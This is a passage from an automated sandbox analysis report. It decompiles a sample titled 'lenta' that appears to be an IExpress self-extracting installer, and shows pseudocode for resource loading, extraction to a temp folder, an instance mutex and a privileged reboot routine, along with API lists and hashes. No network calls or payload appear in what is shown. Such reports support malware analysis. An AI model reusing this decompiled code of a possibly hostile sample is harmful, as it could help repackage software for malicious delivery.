0x00f35dca
0x00f35e22
0x00000000
0x00000000
0x00000000
0x00000000
0x00f35dcc
0x00f35dce
0x00f35e24
0x00f35e24
0x00f35e2c
0x00f35e47
0x00f35e4a
0x00f361d2
0x00f361e2
0x00f361e7
0x00f361ee
0x00f361f1
0x00f361f1
0x00f361f8
0x00f361f8
0x00f35e50
0x00f35e53
0x00f36109
0x00f3611f
0x00000000
0x00f36125
0x00f36137
0x00f3613a
0x00f3613c
0x00f3613e
0x00f3613e
0x00f36141
0x00f36141
0x00f36143
0x00f36144
0x00f3614a
0x00000000
0x00f36150
0x00f36152
0x00f3615c
0x00f36170
0x00f36172
0x00f3617c
0x00f36190
0x00f36190
0x00f36196
0x00f361a5
0x00000000
0x00f361ab
0x00f361b9
0x00f361c6
0x00f361c6
0x00f3617e
0x00f36180
0x00f3618a
0x00000000
0x00000000
0x00000000
0x00000000
0x00f3618a
0x00f3615e
0x00f36160
0x00f3616a
0x00000000
0x00000000
0x00000000
0x00000000
0x00f3616a
0x00f3615c
0x00f3614a
0x00f3610b
0x00f3610e
0x00f3610e
0x00000000
0x00f35e59
0x00f35e59
0x00f35e5c
0x00f3604f
0x00f36056
0x00000000
0x00f3605c
0x00f3606e
0x00f36071
0x00f36073
0x00f36075
0x00f36075
0x00f36078
0x00f36078
0x00f3607a
0x00f3607b
0x00f36081
0x00000000
0x00f36087
0x00f36087
0x00f3608d
0x00f3609c
0x00000000
0x00f360a2
0x00f360aa
0x00f360b2
0x00f360b7
0x00f360bd
0x00f360bf
0x00f360bf
0x00f360d6
0x00f360e0
0x00f360e7
0x00f360f5
0x00000000
0x00000000
0x00000000
0x00000000
0x00f360f5
0x00f3609c
0x00f36081
0x00f35e62
0x00f35e62
0x00f35e65
0x00f35fd3
0x00f35fe9
0x00000000
0x00f35fef
0x00f35fef
0x00f35ff7
0x00f35ffd
0x00f36003
0x00f36006
0x00f36011
0x00f36014
0x00f3603d
0x00f36016
0x00f36018
0x00f36019
0x00f3601b
0x00f36033
0x00f3601d
0x00f36020
0x00f36029
0x00f36022
0x00f36022
0x00f36022
0x00f36020
0x00f3601b
0x00f36042
0x00f36044
0x00f36046
0x00f3604a
0x00f35ff7
0x00f35fd5
0x00f35fd8
0x00f35fd8
0x00000000
0x00f35e6b
0x00f35e6b
0x00f35e6e
0x00f35f8b
0x00f35f99
0x00000000
0x00f35f9f
0x00f35fa7
0x00f35faf
0x00000000
0x00f35fb1
0x00f35fb3
0x00000000
0x00f35fb5
0x00f35fb7
0x00000000
0x00f35fb9
0x00000000
0x00f35fb9
0x00f35fb7
0x00f35fb3
0x00f35faf
0x00f35f8d
0x00f35f8d
0x00f35f8d
0x00f35f8f
0x00f35fc1
0x00f35fc1
0x00f35fc1
0x00000000
0x00f35e74
0x00f35e74
0x00f35e77
0x00f35ea0
0x00f35ebd
0x00f35f79
0x00000000
0x00f35f7f
0x00f35ec3
0x00f35ec3
0x00f35ecc
0x00f35ed4
0x00f35ed6
0x00f35edc
0x00f35edf
0x00f35eea
0x00f35eed
0x00f35f3f
0x00f35f40
0x00000000
0x00f35eef
0x00f35eef
0x00f35ef2
0x00f35f34
0x00f35ef4
0x00f35ef4
0x00f35ef7
0x00f35f2b
0x00000000
0x00f35ef9
0x00f35ef9
0x00f35efc
0x00f35f22
0x00000000
0x00f35efe
0x00f35eff
0x00f35f02
0x00f35f16
0x00f35f04
0x00f35f07
0x00f35f0d
0x00f35f46
0x00f35f46
0x00f35f09
0x00f35f09
0x00f35f09
0x00f35f07
0x00f35f02
0x00f35efc
0x00f35ef7
0x00f35ef2
0x00f35f4c
0x00f35f4e
0x00f35f50
0x00f35f54
0x00f35ed4
0x00f35ea2
0x00f35ea4
0x00f35eaf
0x00f35eaf
0x00000000
0x00f35e79
0x00f35e7d
0x00000000
0x00f35e83
0x00f35e83
0x00f35e83
0x00f35e85
0x00f35e85
0x00f35e8e
0x00000000
0x00f35e94
0x00000000
0x00f35e94
0x00f35e8e
0x00f35e7d
0x00f35e77
0x00f35e6e
0x00f35e65
0x00f35e5c
0x00000000
0x00000000
0x00000000
0x00f35dd0
0x00f35dd0
0x00f35dd0
0x00000000
0x00f35dd0
0x00f35dce
0x00f35dca
0x00f35dba
0x00000000
0x00f35d00
0x00f35dd9
0x00f35e04
0x00f361fe
0x00f35e0a
0x00f35e0c
0x00f35e17
0x00f35e17
0x00f35e04
0x00f36200
0x00f36200
0x00000000

APIs

CharNextA.USER32(?,00000000,?,?), ref: 00F35CEE
GetModuleFileNameA.KERNEL32(00F38B3E,00000104,00000000,?,?), ref: 00F35DFC
CharUpperA.USER32(?), ref: 00F35E3E
CharUpperA.USER32(-00000052), ref: 00F35EE1
CompareStringA.KERNEL32(0000007F,00000001,RegServer,000000FF,?,000000FF), ref: 00F35F6F
CharUpperA.USER32(?), ref: 00F35FA7
CharUpperA.USER32(-0000004E), ref: 00F36008
CharUpperA.USER32(?), ref: 00F360AA
CloseHandle.KERNEL32(00000000,00F31140,00000000,00000040,00000000), ref: 00F361F1
ExitProcess.KERNEL32 ref: 00F361F8

Strings

", xrefs: 00F3612D
", xrefs: 00F35D78
:, xrefs: 00F36118
RegServer, xrefs: 00F35F66

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$"$:$RegServer
API String ID: 1203814774-25366791
Opcode ID: 698604415c508b28aca737a991957a25190da456946e3272abe9eda7148d5852
Instruction ID: 964560bd9b41a068dfaa7087030058dfa6bfd25377fa1e4a616e06c2734d6e89
Opcode Fuzzy Hash: 698604415c508b28aca737a991957a25190da456946e3272abe9eda7148d5852
Instruction Fuzzy Hash: B9D19171E08A486EDF35CB388C483FA3762AB95B74F1441A5D4D6DA151DAB48EC2BF00

Uniqueness

Uniqueness Score: -1.00%

Function 00F31F90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94
shutdownCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00F31F90(signed int __ecx, void* __edi, void* __esi) {
				signed int _v8;
				int _v12;
				struct _TOKEN_PRIVILEGES _v24;
				void* _v28;
				void* __ebx;
				signed int _t13;
				int _t21;
				void* _t25;
				int _t28;
				signed char _t30;
				void* _t38;
				void* _t40;
				void* _t41;
				signed int _t46;

				_t41 = __esi;
				_t38 = __edi;
				_t30 = __ecx;
				if((__ecx & 0x00000002) != 0) {
					L12:
					if((_t30 & 0x00000004) != 0) {
						L14:
						if( *0xf39a40 != 0) {
							_pop(_t30);
							_t44 = _t46;
							_t13 =  *0xf38004; // 0xc69e30f7
							_v8 = _t13 ^ _t46;
							_push(_t38);
							if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v28) != 0) {
								LookupPrivilegeValueA(0, "SeShutdownPrivilege",  &(_v24.Privileges));
								_v24.PrivilegeCount = 1;
								_v12 = 2;
								_t21 = AdjustTokenPrivileges(_v28, 0,  &_v24, 0, 0, 0);
								CloseHandle(_v28);
								_t41 = _t41;
								_push(0);
								if(_t21 != 0) {
									if(ExitWindowsEx(2, ??) != 0) {
										_t25 = 1;
									} else {
										_t37 = 0x4f7;
										goto L3;
									}
								} else {
									_t37 = 0x4f6;
									goto L4;
								}
							} else {
								_t37 = 0x4f5;
								L3:
								_push(0);
								L4:
								_push(0x10);
								_push(0);
								_push(0);
								E00F344B9(0, _t37);
								_t25 = 0;
							}
							_pop(_t40);
							return E00F36CE0(_t25, _t30, _v8 ^ _t44, _t37, _t40, _t41);
						} else {
							_t28 = ExitWindowsEx(2, 0);
							goto L16;
						}
					} else {
						_t37 = 0x522;
						_t28 = E00F344B9(0, 0x522, 0xf31140, 0, 0x40, 4);
						if(_t28 != 6) {
							goto L16;
						} else {
							goto L14;
						}
					}
				} else {
					__eax = E00F31EA7(__ecx);
					if(__eax != 2) {
						L16:
						return _t28;
					} else {
						goto L12;
					}
				}
			}

0x00f31f90
0x00f31f90
0x00f31f93
0x00f31f98
0x00f31fa4
0x00f31fa7
0x00f31fc5
0x00f31fcd
0x00f31fdb
0x00f31ee5
0x00f31eea
0x00f31ef1
0x00f31ef4
0x00f31f0c
0x00f31f2e
0x00f31f3a
0x00f31f46
0x00f31f4d
0x00f31f58
0x00f31f60
0x00f31f61
0x00f31f62
0x00f31f75
0x00f31f80
0x00f31f77
0x00f31f77
0x00000000
0x00f31f77
0x00f31f64
0x00f31f64
0x00000000
0x00f31f64
0x00f31f0e
0x00f31f0e
0x00f31f13
0x00f31f13
0x00f31f14
0x00f31f14
0x00f31f16
0x00f31f17
0x00f31f1a
0x00f31f1f
0x00f31f1f
0x00f31f86
0x00f31f8f
0x00f31fcf
0x00f31fd3
0x00000000
0x00f31fd3
0x00f31fa9
0x00f31fb4
0x00f31fbb
0x00f31fc3
0x00000000
0x00000000
0x00000000
0x00000000
0x00f31fc3
0x00f31f9a
0x00f31f9a
0x00f31fa2
0x00f31fd9
0x00f31fda
0x00000000
0x00000000
0x00000000
0x00f31fa2

APIs

GetCurrentProcess.KERNEL32(00000028,?,?), ref: 00F31EFB
OpenProcessToken.ADVAPI32(00000000), ref: 00F31F02
ExitWindowsEx.USER32(00000002,00000000), ref: 00F31FD3

Strings

SeShutdownPrivilege, xrefs: 00F31F28

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Process$CurrentExitOpenTokenWindows
String ID: SeShutdownPrivilege
API String ID: 2795981589-3733053543
Opcode ID: 9c6018ed84b5d4a2ef5d78d4c63eeea8cc18397eeecc55648ed091949cc3fbc8
Instruction ID: 591dad878ceca979c77bcd0b92b5dcb30ef5b0e779807e6a63682dbc9f4022d5
Opcode Fuzzy Hash: 9c6018ed84b5d4a2ef5d78d4c63eeea8cc18397eeecc55648ed091949cc3fbc8
Instruction Fuzzy Hash: B421CCB1F402097BDB205BB19C4AFBF76BDFB85771F100019FA02D6185D7759841B661

Uniqueness

Uniqueness Score: -1.00%

Function 00F36CF0 Relevance: 6.0, APIs: 4, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F36CF0(struct _EXCEPTION_POINTERS* _a4) {

				SetUnhandledExceptionFilter(0);
				UnhandledExceptionFilter(_a4);
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x00f36cf7
0x00f36d00
0x00f36d19

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00F36E26,00F31000), ref: 00F36CF7
UnhandledExceptionFilter.KERNEL32(00F36E26,?,00F36E26,00F31000), ref: 00F36D00
GetCurrentProcess.KERNEL32(C0000409,?,00F36E26,00F31000), ref: 00F36D0B
TerminateProcess.KERNEL32(00000000,?,00F36E26,00F31000), ref: 00F36D12

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: 767eb71ffbb81deb6b9777d01eeb15bb6d96878e02cbb7846f79f2c2a5fbd9c6
Instruction ID: 657d1e74c4bf8f36ce50d4d3b705cd4fc4c00e9fe984705da736655bee51822e
Opcode Fuzzy Hash: 767eb71ffbb81deb6b9777d01eeb15bb6d96878e02cbb7846f79f2c2a5fbd9c6
Instruction Fuzzy Hash: ABD0C93200020CBBDB003BE2EC0CA593F2AEB48236F444004F35982021CA724451AF52

Uniqueness

Uniqueness Score: -1.00%

Function 00F33210 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 188
windowCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E00F33210(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* __edi;
				void* _t6;
				void* _t10;
				int _t20;
				int _t21;
				int _t23;
				char _t24;
				long _t25;
				int _t27;
				int _t30;
				void* _t32;
				int _t33;
				int _t34;
				int _t37;
				int _t38;
				int _t39;
				void* _t42;
				void* _t46;
				CHAR* _t49;
				void* _t58;
				void* _t63;
				struct HWND__* _t64;

				_t64 = _a4;
				_t6 = _a8 - 0x10;
				if(_t6 == 0) {
					_push(0);
					L38:
					EndDialog(_t64, ??);
					L39:
					__eflags = 1;
					return 1;
				}
				_t42 = 1;
				_t10 = _t6 - 0x100;
				if(_t10 == 0) {
					E00F343D0(_t64, GetDesktopWindow());
					SetWindowTextA(_t64, "lenta");
					SendDlgItemMessageA(_t64, 0x835, 0xc5, 0x103, 0);
					__eflags =  *0xf39a40 - _t42; // 0x3
					if(__eflags == 0) {
						EnableWindow(GetDlgItem(_t64, 0x836), 0);
					}
					L36:
					return _t42;
				}
				if(_t10 == _t42) {
					_t20 = _a12 - 1;
					__eflags = _t20;
					if(_t20 == 0) {
						_t21 = GetDlgItemTextA(_t64, 0x835, 0xf391e4, 0x104);
						__eflags = _t21;
						if(_t21 == 0) {
							L32:
							_t58 = 0x4bf;
							_push(0);
							_push(0x10);
							_push(0);
							_push(0);
							L25:
							E00F344B9(_t64, _t58);
							goto L39;
						}
						_t49 = 0xf391e4;
						do {
							_t23 =  *_t49;
							_t49 =  &(_t49[1]);
							__eflags = _t23;
						} while (_t23 != 0);
						__eflags = _t49 - 0xf391e5 - 3;
						if(_t49 - 0xf391e5 < 3) {
							goto L32;
						}
						_t24 =  *0xf391e5; // 0x3a
						__eflags = _t24 - 0x3a;
						if(_t24 == 0x3a) {
							L21:
							_t25 = GetFileAttributesA(0xf391e4);
							__eflags = _t25 - 0xffffffff;
							if(_t25 != 0xffffffff) {
								L26:
								E00F3658A(0xf391e4, 0x104, 0xf31140);
								_t27 = E00F358C8(0xf391e4);
								__eflags = _t27;
								if(_t27 != 0) {
									__eflags =  *0xf391e4 - 0x5c;
									if( *0xf391e4 != 0x5c) {
										L30:
										_t30 = E00F3597D(0xf391e4, 1, _t64, 1);
										__eflags = _t30;
										if(_t30 == 0) {
											L35:
											_t42 = 1;
											__eflags = 1;
											goto L36;
										}
										L31:
										_t42 = 1;
										EndDialog(_t64, 1);
										goto L36;
									}
									__eflags =  *0xf391e5 - 0x5c;
									if( *0xf391e5 == 0x5c) {
										goto L31;
									}
									goto L30;
								}
								_push(0);
								_push(0x10);
								_push(0);
								_push(0);
								_t58 = 0x4be;
								goto L25;
							}
							_t32 = E00F344B9(_t64, 0x54a, 0xf391e4, 0, 0x20, 4);
							__eflags = _t32 - 6;
							if(_t32 != 6) {
								goto L35;
							}
							_t33 = CreateDirectoryA(0xf391e4, 0);
							__eflags = _t33;
							if(_t33 != 0) {
								goto L26;
							}
							_push(0);
							_push(0x10);
							_push(0);
							_push(0xf391e4);
							_t58 = 0x4cb;
							goto L25;
						}
						__eflags =  *0xf391e4 - 0x5c;
						if( *0xf391e4 != 0x5c) {
							goto L32;
						}
						__eflags = _t24 - 0x5c;
						if(_t24 != 0x5c) {
							goto L32;
						}
						goto L21;
					}
					_t34 = _t20 - 1;
					__eflags = _t34;
					if(_t34 == 0) {
						EndDialog(_t64, 0);
						 *0xf39124 = 0x800704c7;
						goto L39;
					}
					__eflags = _t34 != 0x834;
					if(_t34 != 0x834) {
						goto L36;
					}
					_t37 = LoadStringA( *0xf39a3c, 0x3e8, 0xf38598, 0x200);
					__eflags = _t37;
					if(_t37 != 0) {
						_t38 = E00F34224(_t64, _t46, _t46);
						__eflags = _t38;
						if(_t38 == 0) {
							goto L36;
						}
						_t39 = SetDlgItemTextA(_t64, 0x835, 0xf387a0);
						__eflags = _t39;
						if(_t39 != 0) {
							goto L36;
						}
						_t63 = 0x4c0;
						L9:
						E00F344B9(_t64, _t63, 0, 0, 0x10, 0);
						_push(0);
						goto L38;
					}
					_t63 = 0x4b1;
					goto L9;
				}
				return 0;
			}

0x00f3321b
0x00f3321e
0x00f33221
0x00f3343c
0x00f3343e
0x00f3343f
0x00f33445
0x00f33447
0x00000000
0x00f33447
0x00f33229
0x00f3322a
0x00f3322f
0x00f333ec
0x00f333f7
0x00f33410
0x00f33416
0x00f3341d
0x00f3342d
0x00f3342d
0x00f33438
0x00000000
0x00f33438
0x00f33237
0x00f33243
0x00f33243
0x00f33246
0x00f332ee
0x00f332f4
0x00f332f6
0x00f333d4
0x00f333d6
0x00f333db
0x00f333dc
0x00f333de
0x00f333df
0x00f33370
0x00f33372
0x00000000
0x00f33372
0x00f332fc
0x00f33301
0x00f33301
0x00f33303
0x00f33304
0x00f33304
0x00f3330a
0x00f3330d
0x00000000
0x00000000
0x00f33313
0x00f33318
0x00f3331a
0x00f33331
0x00f33332
0x00f3333a
0x00f3333d
0x00f3337c
0x00f33388
0x00f3338f
0x00f33394
0x00f33396
0x00f333a4
0x00f333ab
0x00f333b6
0x00f333be
0x00f333c3
0x00f333c5
0x00f33435
0x00f33437
0x00f33437
0x00000000
0x00f33437
0x00f333c7
0x00f333c9
0x00f333cc
0x00000000
0x00f333cc
0x00f333ad
0x00f333b4
0x00000000
0x00000000
0x00000000
0x00f333b4
0x00f33398
0x00f33399
0x00f3339b
0x00f3339c
0x00f3339d
0x00000000
0x00f3339d
0x00f3334c
0x00f33351
0x00f33354
0x00000000
0x00000000
0x00f3335c
0x00f33362
0x00f33364
0x00000000
0x00000000
0x00f33366
0x00f33367
0x00f33369
0x00f3336a
0x00f3336b
0x00000000
0x00f3336b
0x00f3331c
0x00f33323
0x00000000
0x00000000
0x00f33329
0x00f3332b
0x00000000
0x00000000
0x00000000
0x00f3332b
0x00f3324c
0x00f3324c
0x00f3324f
0x00f332c8
0x00f332ce
0x00000000
0x00f332ce
0x00f33251
0x00f33256
0x00000000
0x00000000
0x00f33271
0x00f33277
0x00f33279
0x00f33298
0x00f3329d
0x00f3329f
0x00000000
0x00000000
0x00f332b0
0x00f332b6
0x00f332b8
0x00000000
0x00000000
0x00f332be
0x00f33280
0x00f33289
0x00f3328e
0x00000000
0x00f3328e
0x00f3327b
0x00000000
0x00f3327b
0x00000000

APIs

LoadStringA.USER32(000003E8,00F38598,00000200), ref: 00F33271
GetDesktopWindow.USER32 ref: 00F333E2
SetWindowTextA.USER32(?,lenta), ref: 00F333F7
SendDlgItemMessageA.USER32(?,00000835,000000C5,00000103,00000000), ref: 00F33410
GetDlgItem.USER32(?,00000836), ref: 00F33426
EnableWindow.USER32(00000000), ref: 00F3342D
EndDialog.USER32(?,00000000), ref: 00F3343F

Strings

C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F332E2, 00F332E7, 00F33331, 00F33344, 00F3335B, 00F3336A
lenta, xrefs: 00F333F1

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Window$Item$DesktopDialogEnableLoadMessageSendStringText
String ID: C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\$lenta
API String ID: 2418873061-4193562306
Opcode ID: bbe48c39cac7f4f4b305f079bcc5ad354007771f8e357caa9037f2b81ba97535
Instruction ID: 0d211dda1c388f598023cfd6f0a5123fd4133879cbef7a70aa9e8e11f1757247
Opcode Fuzzy Hash: bbe48c39cac7f4f4b305f079bcc5ad354007771f8e357caa9037f2b81ba97535
Instruction Fuzzy Hash: 2C5149307402447BEB21EB369C8CF7B395ADB86B71F108128F685A61D0CAF8DA01B661

Uniqueness

Uniqueness Score: -1.00%

Function 00F32CAA Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 183
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00F32CAA(struct HINSTANCE__* __ecx, void* __edx, void* __eflags) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t13;
				void* _t20;
				void* _t23;
				void* _t27;
				struct HRSRC__* _t31;
				intOrPtr _t33;
				void* _t43;
				void* _t48;
				signed int _t65;
				struct HINSTANCE__* _t66;
				signed int _t67;

				_t13 =  *0xf38004; // 0xc69e30f7
				_v8 = _t13 ^ _t67;
				_t65 = 0;
				_t66 = __ecx;
				_t48 = __edx;
				 *0xf39a3c = __ecx;
				memset(0xf39140, 0, 0x8fc);
				memset(0xf38a20, 0, 0x32c);
				memset(0xf388c0, 0, 0x104);
				 *0xf393ec = 1;
				_t20 = E00F3468F("TITLE", 0xf39154, 0x7f);
				if(_t20 == 0 || _t20 > 0x80) {
					_t64 = 0x4b1;
					goto L32;
				} else {
					_t27 = CreateEventA(0, 1, 1, 0);
					 *0xf3858c = _t27;
					SetEvent(_t27);
					_t64 = 0xf39a34;
					if(E00F3468F("EXTRACTOPT", 0xf39a34, 4) != 0) {
						if(( *0xf39a34 & 0x000000c0) == 0) {
							L12:
							 *0xf39120 =  *0xf39120 & _t65;
							if(E00F35C9E(_t48, _t48, _t65, _t66) != 0) {
								if( *0xf38a3a == 0) {
									_t31 = FindResourceA(_t66, "VERCHECK", 0xa);
									if(_t31 != 0) {
										_t65 = LoadResource(_t66, _t31);
									}
									if( *0xf38184 != 0) {
										__imp__#17();
									}
									if( *0xf38a24 == 0) {
										_t57 = _t65;
										if(E00F336EE(_t65) == 0) {
											goto L33;
										} else {
											_t33 =  *0xf39a40; // 0x3
											_t48 = 1;
											if(_t33 == 1 || _t33 == 2 || _t33 == 3) {
												if(( *0xf39a34 & 0x00000100) == 0 || ( *0xf38a38 & 0x00000001) != 0 || E00F318A3(_t64, _t66) != 0) {
													goto L30;
												} else {
													_t64 = 0x7d6;
													if(E00F36517(_t57, 0x7d6, _t34, E00F319E0, 0x547, 0x83e) != 0x83d) {
														goto L33;
													} else {
														goto L30;
													}
												}
											} else {
												L30:
												_t23 = _t48;
											}
										}
									} else {
										_t23 = 1;
									}
								} else {
									E00F32390(0xf38a3a);
									goto L33;
								}
							} else {
								_t64 = 0x520;
								L32:
								E00F344B9(0, _t64, 0, 0, 0x10, 0);
								goto L33;
							}
						} else {
							_t64 =  &_v268;
							if(E00F3468F("INSTANCECHECK",  &_v268, 0x104) == 0) {
								goto L3;
							} else {
								_t43 = CreateMutexA(0, 1,  &_v268);
								 *0xf38588 = _t43;
								if(_t43 == 0 || GetLastError() != 0xb7) {
									goto L12;
								} else {
									if(( *0xf39a34 & 0x00000080) == 0) {
										_t64 = 0x524;
										if(E00F344B9(0, 0x524, ?str?, 0, 0x20, 4) == 6) {
											goto L12;
										} else {
											goto L11;
										}
									} else {
										_t64 = 0x54b;
										E00F344B9(0, 0x54b, "lenta", 0, 0x10, 0);
										L11:
										CloseHandle( *0xf38588);
										 *0xf39124 = 0x800700b7;
										goto L33;
									}
								}
							}
						}
					} else {
						L3:
						_t64 = 0x4b1;
						E00F344B9(0, 0x4b1, 0, 0, 0x10, 0);
						 *0xf39124 = 0x80070714;
						L33:
						_t23 = 0;
					}
				}
				return E00F36CE0(_t23, _t48, _v8 ^ _t67, _t64, _t65, _t66);
			}

0x00f32cb5
0x00f32cbc
0x00f32cc7
0x00f32cc9
0x00f32cd1
0x00f32cd3
0x00f32cd9
0x00f32ce9
0x00f32cf9
0x00f32d0e
0x00f32d15
0x00f32d1c
0x00f32ef3
0x00000000
0x00f32d2d
0x00f32d34
0x00f32d3b
0x00f32d40
0x00f32d48
0x00f32d59
0x00f32d84
0x00f32e1f
0x00f32e1f
0x00f32e2e
0x00f32e41
0x00f32e5a
0x00f32e62
0x00f32e6c
0x00f32e6c
0x00f32e75
0x00f32e77
0x00f32e77
0x00f32e84
0x00f32e8b
0x00f32e94
0x00000000
0x00f32e96
0x00f32e96
0x00f32e9e
0x00f32ea2
0x00f32eba
0x00000000
0x00f32ece
0x00f32ede
0x00f32eed
0x00000000
0x00000000
0x00000000
0x00000000
0x00f32eed
0x00f32eef
0x00f32eef
0x00f32eef
0x00f32eef
0x00f32ea2
0x00f32e86
0x00f32e88
0x00f32e88
0x00f32e43
0x00f32e48
0x00000000
0x00f32e48
0x00f32e30
0x00f32e30
0x00f32ef8
0x00f32f01
0x00000000
0x00f32f01
0x00f32d8a
0x00f32d8f
0x00f32da1
0x00000000
0x00f32da3
0x00f32dae
0x00f32db4
0x00f32dbb
0x00000000
0x00f32dca
0x00f32dd3
0x00f32df5
0x00f32e02
0x00000000
0x00000000
0x00000000
0x00000000
0x00f32dd5
0x00f32dde
0x00f32de3
0x00f32e04
0x00f32e0a
0x00f32e10
0x00000000
0x00f32e10
0x00f32dd3
0x00f32dbb
0x00f32da1
0x00f32d5b
0x00f32d5b
0x00f32d5d
0x00f32d69
0x00f32d6e
0x00f32f06
0x00f32f06
0x00f32f06
0x00f32d59
0x00f32f18

APIs

memset.MSVCRT ref: 00F32CD9
memset.MSVCRT ref: 00F32CE9
memset.MSVCRT ref: 00F32CF9

Part of subcall function 00F3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F346A0
Part of subcall function 00F3468F: SizeofResource.KERNEL32(00000000,00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346A9
Part of subcall function 00F3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F346C3
Part of subcall function 00F3468F: LoadResource.KERNEL32(00000000,00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346CC
Part of subcall function 00F3468F: LockResource.KERNEL32(00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346D3
Part of subcall function 00F3468F: memcpy_s.MSVCRT ref: 00F346E5
Part of subcall function 00F3468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346EF

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F32D34
SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,00000002,00000000), ref: 00F32D40
CreateMutexA.KERNEL32(00000000,00000001,?,00000104,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 00F32DAE
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 00F32DBD
CloseHandle.KERNEL32(lenta,00000000,00000020,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 00F32E0A

Part of subcall function 00F344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F34518
Part of subcall function 00F344B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 00F34554

Strings

EXTRACTOPT, xrefs: 00F32D4D
VERCHECK, xrefs: 00F32E54
INSTANCECHECK, xrefs: 00F32D95
lenta, xrefs: 00F32D04, 00F32DD9, 00F32DF0
TITLE, xrefs: 00F32D09

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Resource$memset$CreateEventFindLoad$CloseErrorFreeHandleLastLockMessageMutexSizeofStringmemcpy_s
String ID: EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK$lenta
API String ID: 1002816675-2993962200
Opcode ID: 41bacac6306947671d3b83246ff83821b2ec74357e75c79fa2203793883e7e4a
Instruction ID: 1c5275aa5977d4a77e1e6ab730fb52d569b0c0cb6c9d270d3e66663cad1cc8b4
